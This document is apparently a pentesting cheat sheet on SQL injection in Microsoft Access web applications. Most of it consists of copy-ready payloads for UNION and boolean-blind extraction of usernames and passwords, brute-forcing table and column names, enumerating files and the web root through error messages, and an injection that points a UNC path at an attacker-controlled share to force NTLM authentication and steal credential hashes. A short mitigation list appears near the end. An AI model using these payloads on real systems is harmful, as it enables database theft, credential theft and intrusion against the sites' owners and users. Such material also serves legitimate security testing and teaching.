# MS Access SQL Injection

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## Online Playground

- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)

## DB Limitations

### String Concatenation

String concatenation is possible with `& (%26)` and `+ (%2b)` characters.

```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```

### Comments

There are no comments in MS access, but apparently it's possible to remove the last of a query with a NULL char:

```sql
1' union select 1,2 from table%00
```

If this is not working you could always fix the syntax of the query:

```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```

### Stacked Queries

They aren't supported.

### LIMIT

The **`LIMIT`** operator **isn't implemented**. However, it's possible to limit SELECT query results to the **first N table rows using the `TOP` operator**. `TOP` accepts as argument an integer, representing the number of rows to be returned.

```sql
1' UNION SELECT TOP 3 attr FROM table%00
```

Just like TOP you can use **`LAST`** which will get the **rows from the end**.

## UNION Queries/Sub queries

In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
So, if you want to execute a `UNION SELECT` or `UNION ALL SELECT` or a `SELECT` between parenthesis in a condition, you always **need to indicate a `FROM` with a valid table name**.\
Therefore, you need to know a **valid table name**.

```sql
-1' UNION SELECT username,password from users%00
```

### Chaining equals + Substring

> [!WARNING]
> This will allow you to exfiltrate values of the current table without needing to know the name of the table.

**MS Access** allows **weird syntax** such as **`'1'=2='3'='asd'=false`**. As usually the SQL injection will be inside a **`WHERE`** clause we can abuse that.

Imagine you have a SQLi in a MS Access database and you know (or guessed) that one **column name is username**, and thats the field you want to **exfiltrate**. You could check the different responses of the web app when the chaining equals technique is used and potentially exfiltrate content with a **boolean injection** using the **`Mid`** function to get substrings.

```sql
'=(Mid(username,1,3)='adm')='
```

If you know the **name of the table** and **column** to dump you can use a combination between `Mid` , `LAST` and `TOP` to **leak all the info** via boolean SQLi:

```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```

_Feel free to check this in the online playground._

### Brute-forcing Tables names

Using the chaining equals technique you can also **bruteforce table names** with something like:

```sql
'=(select+top+1+'lala'+from+<table_name>)='
```

You can also use a more traditional way:

```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```

_Feel free to check this in the online playground._

- Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)

### Brute-Forcing Columns names

You can **brute-force current columns names** with the chaining equals trick with:

```sql
'=column_name='
```

Or with a **group by**:

```sql
-1' GROUP BY column_name%00
```

Or you can brute-force column names of a **different table** with:

```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```

### Dumping data

We have already discussed the [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **to dump data from the current and other tables**. But there are other ways:

```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```

In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.

### Time-Based (Blind) Tricks

Jet/ACE SQL itself does **not** expose a native `SLEEP()` or `WAITFOR` function, so traditional time-based blind injections are limited. However, you can still introduce a measurable delay by forcing the engine to access a **network resource that is slow or does not answer**. Because the engine will try to open the file before returning the result, the HTTP response time reflects the round-trip latency to the attacker-controlled host.

```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```

Point the UNC path to:

* a SMB share behind a high-latency link
* a host that drops the TCP handshake after `SYN-ACK`
* a firewall sinkhole

The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. 

### Other Interesting functions

- `Mid('admin',1,1)` get substring from position 1 length 1 (initial position is 1)
- `LEN('1234')` get length of string
- `ASC('A')` get ascii value of char
- `CHR(65)` get string from ascii value
- `IIF(1=1,'a','b')` if then
- `COUNT(*)` Count number of items

## Enumerating tables

From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:

```sql
select MSysObjects.name
from MSysObjects
where
   MSysObjects.type In (1,4,6)
   and MSysObjects.name not like '~*'
   and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```

However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.

## FileSystem access

### Web Root Directory Full Path

The knowledge of the **web root absolute path may facilitate further attacks**. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database.

`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`

MS Access responds with an **error message containing the web directory full pathname**.

### File Enumeration

The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid:

`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`

Another way to enumerate files consists into **specifying a database.table item**. **If** the specified **file exists**, MS Access displays a **database format error message**.

`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`

### .mdb File Name Guessing

**Database file name (.mdb)** can be inferred with the following query:

`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`

Where **name[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.

### Remote Database Access & NTLM Credential Theft (2023)

Since Jet 4.0 every query can reference a table located in a *different* `.mdb/.accdb` file via the `IN '<path>'` clause:

```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```

If user input is concatenated into the part after **IN** (or into a `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` call) an attacker can specify a **UNC path** that points to a host they control. The engine will:

1. try to authenticate over SMB / HTTP to open the remote database; 
2. leak the web-server’s **NTLM credentials** (forced authentication); 
3. parse the remote file – a malformed or malicious database can trigger Jet/ACE memory-corruption bugs that have been patched multiple times (e.g. CVE-2021-28455).

Practical injection example:

```sql
1' UNION SELECT TOP 1 name
   FROM MSysObjects
   IN '\\attacker\share\poc.mdb'-- -
```

Impact:

* Out-of-band exfiltration of Net-NTLMv2 hashes (usable for relay or offline cracking).
* Potential remote code execution if a new Jet/ACE parser bug is exploited.

Mitigations (recommended even for legacy Classic ASP apps):

* Add the registry value `AllowQueryRemoteTables = 0` under `HKLM\Software\Microsoft\Jet\4.0\Engines` (and under the equivalent ACE path). This forces Jet/ACE to reject remote paths starting with `\\`.
* Block outbound SMB/WebDAV at the network boundary.
* Sanitize / parameterise any part of a query that may end up inside an `IN` clause.

The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent. 

### .mdb Password Cracker

[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is a free utility that can be used to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0.

## References

- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)

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